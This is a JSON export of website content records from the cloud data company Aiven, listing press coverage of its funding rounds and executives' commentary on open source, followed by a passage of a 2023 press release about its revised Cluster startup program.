{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"6RFNU08UxtPakeuGeIgEdk","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://morganlinton.com/two-startups-building-their-brands-on-io-domains-raised-53m-combined-today/","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Today was a pretty special day for companies branding on .IO as Clearx.io announced a $13M raise and Aiven.io announced a $40M raise. So what are these companies doing to get investors so excited?","title":"Two startups building their brands on .IO domains raised $53M combined today"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"6SjIQtRGdPZpoqSb9X9oUb","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://venturebeat.com/2021/06/18/aiven-91-of-developers-say-open-source-is-in-their-future/","publishedAt":"2021-06-17T21:00:00.000Z","subtitle":"The survey revealed growing positivity towards open source among cloud and database developers in the United Kingdom, with respondents listing twice as many benefits as they did disadvantages.","title":"VentureBeat: 91% of developers say open source is in their future"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"6U5iAZF8977BkLxraTkXwZ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.wsj.com/articles/open-source-startup-aiven-raises-60-million-in-new-funding-11634676772","publishedAt":"2021-10-19T22:00:00.000Z","subtitle":"Investors are betting on rising interest among CIOs for in-house software development efforts.","title":"The Wall Street Journal: Open-Source Startup Aiven Raises $60 Million in New Funding"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"6dXM7UsaYn4kDz9kV8p9A1","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://searchaws.techtarget.com/tip/AWS-data-lake-and-data-warehouse-options-for-the-cloud","publishedAt":"2019-11-10T21:00:00.000Z","subtitle":"Get ready for data analytics in the cloud. Learn the best ways to handle your data on AWS. Distinguish between data lakes and data warehouse services on AWS and how they work.","title":"AWS data lake and data warehouse options for the cloud"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"6eZ6ZeunqkmrOzlWR5T2IS","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.devprojournal.com/technology-trends/digital-transformation/digital-transformation-goals-for-2021/","publishedAt":"2020-12-21T22:00:00.000Z","subtitle":"Heikki Nousiainen, CTO at Aiven, says businesses and enterprises will be more strategic about data collection and analysis: “The growth of IoT will continue rapidly in 2021, dependent on where sensors are able to be placed and what kind of data we can collect.","title":"Digital Transformation Goals for 2021"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"6tbHPBzR7GQhNrmsFi6GRP","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://cheddar.com/media/cloud-technology-startup-aiven-raises-million-in-series-b-funding","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven is a company that combines open source technologies with cloud infrastructure. It just raised $40 million in Series B. Oskari Saarenmaa, CEO and co-founder at Aiven, joined Cheddar to discuss what the startup will do with the new funding.","title":"Cloud Technology Startup Aiven Raises $40 million in Series B Funding"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"70fTAopdRmLGhIAtPV6O5E","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.bloomberg.com/news/articles/2021-03-23/finnish-software-firm-aiven-raises-cash-at-800-million-value","publishedAt":"2021-03-22T21:00:00.000Z","subtitle":"Aiven, a Finnish company that makes open-source software to manage databases, has raised funding at a valuation of more than $800 million, a roughly fourfold increase since its last round a year ago.","title":"Finnish Software Firm Aiven Raises Cash at $800 Million Value"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"731CAsON7FVZmeUGpjYda1","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://citybizlist.com/article/595236/github-investor-ivp-leads-40m-series-b","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, a startup that combines the best open source technologies with cloud infrastructure, today announced that it has raised $40 million in Series B funding.","title":"GitHub Investor IVP Leads $40M Series B"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"73GQ8s2v2GqX6QvdTBa0Hf","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.cnbc.com/2020/03/03/on-super-tuesday-us-voting-technology-will-be-under-intense-scrutiny.html","publishedAt":"2020-03-01T21:00:00.000Z","subtitle":"While election technology will continue to evolve to meet new threats, Heikki Nousiainen, CTO of the open-source technology company Aiven, said that companies hoping to safeguard the process will always have to split the difference between verifying a vote and protecting the voter’s anonymity.","title":"On Super Tuesday, America’s voting technology will be under intense scrutiny"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"74MZ8K7f4hsMou2KFrr8iI","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://digitalanarchist.com/videos/featured-guests/open-source-security-aiven","publishedAt":"2021-08-25T21:00:00.000Z","subtitle":"Watch as our CISO James Arlen chats with Alan Shimel about open source security on TechStrong TV.","title":"Open Source Security with James Arlen, CISO at Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7CmM4z3CZq10L5w88RYB4S","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.cmswire.com/information-management/why-open-source-usage-is-increasing-in-the-digital-workplace/","publishedAt":"2021-01-31T22:00:00.000Z","subtitle":"Heikki Nousiainen, co-founder and CTO at Finland-based Aiven, said, businesses are demanding open source components in their processes to gain agility and the capabilities to move around and innovate faster.","title":"CMSWire: Why Open Source Usage Is Increasing in the Digital Workplace"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7GeygX5uubIlZFdgkOPUWC","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://venturebeat.com/2021/03/23/aiven-raises-150m-to-manage-cloud-data-infrastructure-for-open-source-technologies/","publishedAt":"2021-03-22T21:00:00.000Z","subtitle":"Aiven, a Finnish company that provides managed open source data technologies on most of the major public clouds, today announced it has raised $100 million in a series C round of funding.","title":"Aiven raises $100M to manage cloud data infrastructure for open source technologies"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7IhCZ1mZOevaCxaPmkeMVD","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.clickz.com/consumer-data-privacy-qa/256437/","publishedAt":"2019-10-09T21:00:00.000Z","subtitle":"When it comes to consumer data privacy issues, how secure are cloud-based solutions versus on-premise? What are common pitfalls where businesses might slip up?","title":"Consumer data privacy, the cloud, and common pitfalls: Q\u0026A with Aiven CTO"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7JbjwNVxtyzOC2tO5ib7x3","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://venturebeat.com/2021/10/19/managed-open-source-data-infrastructure-provider-aiven-raises-60m/","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Aiven, a provider of fully managed and hosted services for myriad open source data infrastructure projects including Kafka, Grafana, and Cassandra, has raised $60 million in a series C extension round at a $2 billion valuation.","title":"VentureBeat: Managed open source data infrastructure provider Aiven raises $60M"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7JsVcf6LKp6HjxUBdFeSXh","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.easybranches.com/technology/innovation-nation/5475632","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven — which provides managed, cloud based services designed to make it easier for businesses to build services on top of open source projects — is today announcing that it has raised $40 million in funding, a Series B being led by IVP.","title":"Aiven raises $40M to democratize access to open source projects through managed cloud services"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7azIq7pVo9ka3JRj50rLqg","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.computing.co.uk/news/4031866/91-cent-enterprise-developers-open-source-play-organisation-future-report","publishedAt":"2021-05-25T21:00:00.000Z","subtitle":"Heikki Nousiainen, CTO and co-founder at Aiven, said: \"Using open source software is a fantastic way for enterprises to take advantage of the latest innovation in software. More importantly, it provides businesses with the flexibility for growth, without having to worry about vendor lock-in and other challenges that come with using proprietary software.\"","title":"Computing: 91 per cent of enterprise developers say open source will play a part in their organisation's future, report"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7dM5PQT9t9rquRxE7mxo1y","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://searchitoperations.techtarget.com/news/252471744/Chef-outage-fuels-technology-ethics-debate","publishedAt":"2019-10-02T21:00:00.000Z","subtitle":"Software companies have been embroiled in high-profile ethical controversies in the past two years, driving industry debate about just how extensively politics should influence tech.","title":"Chef outage fuels technology ethics debate"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7fWQe9pAeu9EwpKMHH3471","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.computing.co.uk/analysis/4012007/happening-open-source-databases","publishedAt":"2020-03-08T21:00:00.000Z","subtitle":"Cloud has changed the rules of engagement, says Aiven CEO Oskari Saarenmaa.","title":"What's happening with open-source databases?"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7lKcpfUrIeNyQWzWqZi0qh","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://gritdaily.com/new-marketing-opportunities-wearables/","publishedAt":"2020-01-04T21:00:00.000Z","subtitle":"“Open source will bring businesses more agility and enable them to process data quickly while simultaneously producing valuable insights,” says Heikki Nousiainen, chief technology officer at Aiven, a firm that develops managed cloud service hosting for software infrastructure services.","title":"Retailers Find New Marketing Opportunities with Wearables"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7neob038Ej5VNCHm7Qt4V3","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://game-zoom.ru/finskaya-kompaniya-aiven-privlekla-60-mln-dollarov-pri-ocenke-v-2-mlrd-dollarov.html","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Финская фирма по разработке облачного программного обеспечения Aiven привлекла 60 миллионов долларов от существующих инвесторов World Innovation Lab, IVP и Atomico, что дает компании оценку в 2 миллиарда долларов, сообщается во вторник.","title":"Финская компания Aiven привлекла 60 млн долларов при оценке в 2 млрд долларов"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7nmKeZSO9Z3p2Ku0UwJKCH","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.linux.com/news/aiven-raises-40m-to-democratize-access-to-open-source-projects-through-managed-cloud-services/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven — which provides managed, cloud-based services designed to make it easier for businesses to build services on top of open-source projects — is today announcing that it has raised $40 million in funding, a Series B being led by IVP (itself a major player in enterprise software, backing an illustrious list that includes Slack, Dropbox, Datadog, GitHub and HashiCorp).","title":"Aiven Raises $40M To Democratize Access To Open-Source Projects Through Managed Cloud Services"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"8xjyR4briDyESs2YLUz5r","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://betanews.com/2022/05/07/continue-growth-of-open-source/","publishedAt":"2022-05-07T08:00:00.000Z","subtitle":"Heikki Nousiainen explains how to continue the growth of Open Source in the UK ","title":"How to continue the growth of open source in the UK"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"HFpP9HXdJObSmEJTgcopa","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://linuxinsider.com/story/github-expands-free-feature-access-slices-other-costs-86619.html","publishedAt":"2020-04-15T21:00:00.000Z","subtitle":"GitHub has lowered its pricing plans drastically and made its core features free for everyone, even for private development.","title":"GitHub Expands Free Feature Access, Slices Other Costs"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"Imyw51QNsPOtlhXRu4mkO","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.capital.de/amp/wirtschaft-politik/wachsende-tech-unternehmen-trotzen-steigenden-zinsen-31767006.html","publishedAt":"2022-04-08T08:00:00.000Z","subtitle":"Julian Lange, CFO explains what does the interest rate turnaround mean for start-up financing?","title":"Flaute? Von wegen! Wachsende Tech-Unternehmen trotzen steigenden Zinsen"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"OycUd1HMGu6HZtlcQSelZ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://searchdatamanagement.techtarget.com/news/252498637/Aiven-set-to-grow-open-source-database-as-a-service-platform","publishedAt":"2021-03-29T21:00:00.000Z","subtitle":"There is no shortage of challenges and competition in the open source database market, but Aiven CTO Heikki Nousiainen sees opportunities for growth.","title":"Aiven set to grow open source database-as-a-service platform"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"UNNW3aRlK5jmpYMMBa4Yx","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://sdtimes.com/open-source/the-ethical-side-of-open-source/","publishedAt":"2020-01-08T21:00:00.000Z","subtitle":"One thing that doesn’t get enough attention is the ethics of that open-source project, according to Heikki Nousiainen, CTO and co-founder at Aiven, an IT service management company. ","title":"The ethical side of open source"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"VHatEa1Ryb4G4PGxrIzDr","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://siliconangle.com/2021/08/25/elastic-surprises-investors-unexpected-profit-quarterly-earnings/","publishedAt":"2021-08-24T21:00:00.000Z","subtitle":"\"The death of open source business models is nowhere on the horizon and companies need to shift their stance now if they want to remain a trusted member of the open-source community.”","title":"SiliconANGLE: Aiven's CEO commenting on Elastic's move from open source"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"YZVZObpXlGwm6U9fbgD6g","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://streetfightmag.com/2019/12/30/retailers-find-new-marketing-opportunities-with-wearables/#.Xs-axhMzY3F","publishedAt":"2019-12-28T21:00:00.000Z","subtitle":"“Open source will bring businesses more agility and enable them to process data quickly while simultaneously producing valuable insights,” says Heikki Nousiainen, chief technology officer at Aiven, a firm that develops managed cloud service hosting for software infrastructure services.","title":"Retailers Find New Marketing Opportunities with Wearables"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"chej1g9CRaWr1BVZB00CO","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.builtinboston.com/2020/03/02/boston-tech-news-030220","publishedAt":"2020-03-01T21:00:00.000Z","subtitle":"Aiven added to leadership team. The startup combines open-source tech with cloud infrastructure. It appointed Larry Irvin as VP and general manager of its Americas operation.","title":"Weekly Refresh: Mentor Collective, Aiven Name New VPs, And More"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"eooYQnaYuHOTCPq6Ysfd9","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://tech.eu/brief/helsinki-based-aiven-raises-40-million-to-build-its-cloud-services-from-boston-and-san-francisco/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven, a Helsinki-based cloud technology startup, has raised a $40 million Series B round led by the Silicon Valley-based Institutional Venture Partners (IVP), with participation from Earlybird and other investors.","title":"Helsinki-based Aiven raises $40 million to build its cloud services from Boston and San Francisco"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"hhqXcHGDdgMMIK1kxo9uC","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.bizjournals.com/boston/news/2020/02/06/finnish-startup-to-expand-boston-presence-after.html","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven, a Finnish provider of managed cloud service hosting for software infrastructure services, is planning an expansion of its Boston presence following the closing of a $40 million round of funding. ","title":"Finnish startup to expand Boston presence after raising $40M"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"iA3shMjcKSu3sNcb7XAqL","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.securityweek.com/experts-weigh-cybersecurity-risks-capitol-attacks","publishedAt":"2021-01-09T22:00:00.000Z","subtitle":"“Preparatory training is vital as a baseline part of your security awareness program - when you leave your desk, lock your machine!” -James Arlen, CISO at Aiven","title":"Experts Weigh In on Cybersecurity Risks of Capitol-Like Attacks"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"k9JJM5dL9MlW2F9Afz8eN","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://venturefizz.com/stories/boston/talent-move-february-28-2020","publishedAt":"2020-02-28T21:00:00.000Z","subtitle":"Here's your look at the latest hires and promotions across the Boston tech community at BCG Omnia, NWN, Acquia, Examity, Cantina, Quick Base, Rocket Insights, Knox Financial, Brightcove, DraftKings, edX, ClimaCell, and Aiven.","title":"Talent on the Move - February 28, 2020"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"l0mxnq8LvgZPeHKFviNsa","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.lemagit.fr/conseil/BI-huit-conseils-pour-creer-de-bons-tableaux-de-bord","publishedAt":"2020-11-15T22:00:00.000Z","subtitle":"Soumya Bijjal, directrice de la gestion des produits chez Aiven, un fournisseur de plateforme d’infrastructure de données open source, confirme : « quand les entreprises élaborent des tableaux de bord qui sont adaptés à chaque utilisateur et qui ne présentent que les informations strictement nécessaires, ces entreprises extraient bien plus de valeur de leurs données ».","title":"LeMagIT: huit conseils pour créer de bons tableaux de bord"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"msVh47le5VBFHNJfv4VqB","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.computing.co.uk/feature/4033798/set-open-source-program-office","publishedAt":"2021-06-30T21:00:00.000Z","subtitle":"Google, Microsoft and VMware all have them and their use is spreading as security concerns mount - but what exactly is an OSPO?","title":"Computing: Is it time to set up an Open Source Program Office?"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"vb0VG4gAgeR0RGRYQLdn5","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.siliconrepublic.com/enterprise/heikki-nousiainen-aiven-digital-transformation","publishedAt":"2021-02-04T22:00:00.000Z","subtitle":"Heikki Nousiainen of Aiven discusses how businesses can be successful with digital transformation and the data trends he sees coming down the line.","title":"Silicon Republic: ‘Companies must change the culture of their workforce to think digitally’"} {"__i18n_lang":"en","_createdAt":"2023-08-28T09:06:50Z","_id":"0e13269b-35bd-4d75-b993-bdfa17a74e24","_rev":"n4o7HM4ybKf4O57IbWDoeq","_type":"pressRelease","_updatedAt":"2023-08-29T08:34:35Z","content":[{"_key":"351b8dcaada4","_type":"block","children":[{"_key":"511ea8e65b200","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — August 24, 2023"},{"_key":"511ea8e65b201","_type":"span","marks":[],"text":" — "},{"_key":"511ea8e65b202","_type":"span","marks":["309af7dfe4dd"],"text":"Aiven"},{"_key":"511ea8e65b203","_type":"span","marks":[],"text":", the open source cloud data platform for everyone, today announced the launch of its enhanced Cluster startup program, reaffirming its commitment to supporting and empowering early-stage companies on their path to success. The revised program aims to be more inclusive and accessible by expanding the eligibility criteria, introducing a lower credit tier accessible to a wider range of startups, and expanding the ecosystem of partners among venture capital (VC) firms and accelerators across the Americas, EMEA, and APAC regions."}],"markDefs":[{"_key":"309af7dfe4dd","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"2d294c4fe745","_type":"block","children":[{"_key":"997d1aeb3cca0","_type":"span","marks":[],"text":"The Cluster program was first introduced in November 2021 and it has achieved remarkable success with notable graduates such as "},{"_key":"997d1aeb3cca1","_type":"span","marks":["4ba715ace408"],"text":"Hookdeck"},{"_key":"997d1aeb3cca2","_type":"span","marks":[],"text":", "},{"_key":"997d1aeb3cca3","_type":"span","marks":["b37129707f34"],"text":"Huuva"},{"_key":"997d1aeb3cca4","_type":"span","marks":[],"text":", and "},{"_key":"997d1aeb3cca5","_type":"span","marks":["c9c451a7e147"],"text":"4.screen"},{"_key":"997d1aeb3cca6","_type":"span","marks":[],"text":". Based on feedback from graduates of the initial program and aspiring participants, Aiven has updated the program to increase its impact and to make it more accessible to fast-growing early-stage startups worldwide."}],"markDefs":[{"_key":"4ba715ace408","_type":"link","href":"https://hookdeck.com/"},{"_key":"b37129707f34","_type":"link","href":"https://huuva.io/"},{"_key":"c9c451a7e147","_type":"link","href":"https://www.4screen.com/"}],"style":"normal"},{"_key":"8b2e5c572354","_type":"block","children":[{"_key":"c2f7d880f22d0","_type":"span","marks":[],"text":"“The Cluster program has been instrumental in our progress this year,” says Christoph Mahlert, co-founder and CTO of "},{"_key":"c2f7d880f22d1","_type":"span","marks":["7668fb769649"],"text":"4screen"},{"_key":"c2f7d880f22d2","_type":"span","marks":[],"text":". “Aiven's support and technologies have allowed us to focus on our core business, confidently knowing that we have a reliable partner to manage our data infrastructure. The accessibility and inclusivity of the revised program will undoubtedly bring the same level of success to countless other startups like ours.\""}],"markDefs":[{"_key":"7668fb769649","_type":"link","href":"https://www.4screen.com/"}],"style":"normal"},{"_key":"c374ce4003fc","_type":"block","children":[{"_key":"69d832d7ea4c0","_type":"span","marks":[],"text":"According to Tiina Romu, Software Team Lead at "},{"_key":"69d832d7ea4c1","_type":"span","marks":["44e4e4784e1f"],"text":"Huuva"},{"_key":"69d832d7ea4c2","_type":"span","marks":[],"text":", “being part of the Cluster program has given us the freedom to choose the tools we want from the start, without worrying about the actual cost of these services, or how much time maintaining them would take. So we feel that this is really helping us move forward and grow.”"}],"markDefs":[{"_key":"44e4e4784e1f","_type":"link","href":"https://www.huuva.io/"}],"style":"normal"},{"_key":"6373031ee899","_type":"block","children":[{"_key":"85b41e5694310","_type":"span","marks":[],"text":"The revised program includes the following changes:"}],"markDefs":[],"style":"normal"},{"_key":"c0df2a64b09c","_type":"block","children":[{"_key":"3f5712af075c0","_type":"span","marks":[],"text":"Eligibility: startups that have fundraised up to and including Series B are eligible to apply, replacing the previous requirement of funding up to Series A only."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3c356586e524","_type":"block","children":[{"_key":"88a0bb3d2b6f0","_type":"span","marks":[],"text":"Age criteria: the program now accepts startups that are a maximum of seven years old, expanding from the previous age limit of five years."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e293f541fe01","_type":"block","children":[{"_key":"70c18c7f5a6b0","_type":"span","marks":[],"text":"Credit distribution: we will continue to distribute up to $100,000 in credits through our startup ecosystem partners, which include VC firms, accelerators, and incubators."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"97a1682a0ec4","_type":"block","children":[{"_key":"b834637ff3d30","_type":"span","marks":[],"text":"New tier: we have introduced a new $12,000 tier specifically tailored for startups not affiliated with our partners. This new tier allows them to access the program resources and support."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f9ed4b699afa","_type":"block","children":[{"_key":"2482bdf0dad20","_type":"span","marks":[],"text":"The Cluster program also enables the expansion of Aiven’s startup ecosystem partner network across the world, offering their portfolio companies access to exclusive perks and Aiven benefits. The list of new partners in the revamped program includes Techstars (global), Liquid2 Ventures (USA), RevRoad (USA), Underline Ventures (Romania), HV Capital (Germany), Icebreaker (Finland), Project A (Germany), ISAI (France), Digital Well Incubator (Sweden), MMC (UK), Hummingbird VC (UK), Karma Ventures (Estonia), Target Global (Germany), Chemovator (Germany), GoGrow (Singapore) and the Singapore Management University (SMU)."}],"markDefs":[],"style":"normal"},{"_key":"9b486167fd54","_type":"block","children":[{"_key":"1abeafa1f20b0","_type":"span","marks":[],"text":"“The startup community has supported us on our journey since our inception,” said Oskari Saarenmaa, CEO and co-founder of Aiven. “To reciprocate the goodwill we received when we first started out, we wish to power the transformative technologies of even more early-stage companies.”"}],"markDefs":[],"style":"normal"},{"_key":"26ef77e3580d","_type":"block","children":[{"_key":"b65d7eaf9b1c0","_type":"span","marks":[],"text":"For more information on the Cluster Startup Program, its benefits, and how to apply, please visit "},{"_key":"b65d7eaf9b1c1","_type":"span","marks":["daa6bb163ae9"],"text":"https://aiven.io/cluster"},{"_key":"b65d7eaf9b1c2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"daa6bb163ae9","_type":"link","href":"https://aiven.io/cluster"}],"style":"normal"},{"_key":"8bad41b3a959","_type":"block","children":[{"_key":"843e3b2f5f170","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"db6e2f998e82","_type":"block","children":[{"_key":"2776c95696ce0","_type":"span","marks":[],"text":"Aiven will also be participating at the Google Cloud Next conference in San Francisco and will be sharing more information about the Cluster program at the Startup Lounge on Wednesday, August 30, 2023.\n"}],"markDefs":[],"style":"normal"},{"_key":"d68d97e44a9b","_type":"block","children":[{"_key":"0168a8eb7f960","_type":"span","marks":["strong"],"text":"Additional resources:"}],"markDefs":[],"style":"normal"},{"_key":"ed372f12290f","_type":"block","children":[{"_key":"908e327927420","_type":"span","marks":[],"text":"Find out how recent graduates of the Cluster Program - Huuva and 4.Screen have benefited and read more about their journey below:"}],"markDefs":[],"style":"normal"},{"_key":"b2cde9e6aad3","_type":"block","children":[{"_key":"a46235ad7ba20","_type":"span","marks":["2414082f03a8"],"text":"Huuva"},{"_key":"a46235ad7ba21","_type":"span","marks":[],"text":" - a Finnish cloud kitchen startup"}],"level":1,"listItem":"number","markDefs":[{"_key":"2414082f03a8","_type":"link","href":"https://www.huuva.io/"}],"style":"normal"},{"_key":"bc49b576bb71","_type":"block","children":[{"_key":"d9cefca862100","_type":"span","marks":["ea42b8220058"],"text":"4.Screen"},{"_key":"d9cefca862101","_type":"span","marks":[],"text":" - a fast-growing German startup, building the world’s first driver interaction platform\n"}],"level":1,"listItem":"number","markDefs":[{"_key":"ea42b8220058","_type":"link","href":"https://aiven.io/blog/customer-interview-4screen"}],"style":"normal"},{"_key":"504ece3f6057","_type":"block","children":[{"_key":"60027c4dce720","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"8ceb533e4b73","_type":"block","children":[{"_key":"ff5c1b4559890","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto, Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. "}],"markDefs":[],"style":"normal"},{"_key":"905629b4b196","_type":"block","children":[{"_key":"dae6987e2dd70","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"dae6987e2dd71","_type":"span","marks":["e26498c080fd"],"text":"aiven.io"},{"_key":"dae6987e2dd72","_type":"span","marks":[],"text":" and follow "},{"_key":"dae6987e2dd73","_type":"span","marks":["8aefc43ba4b1"],"text":"@aiven_io"},{"_key":"dae6987e2dd74","_type":"span","marks":[],"text":" on 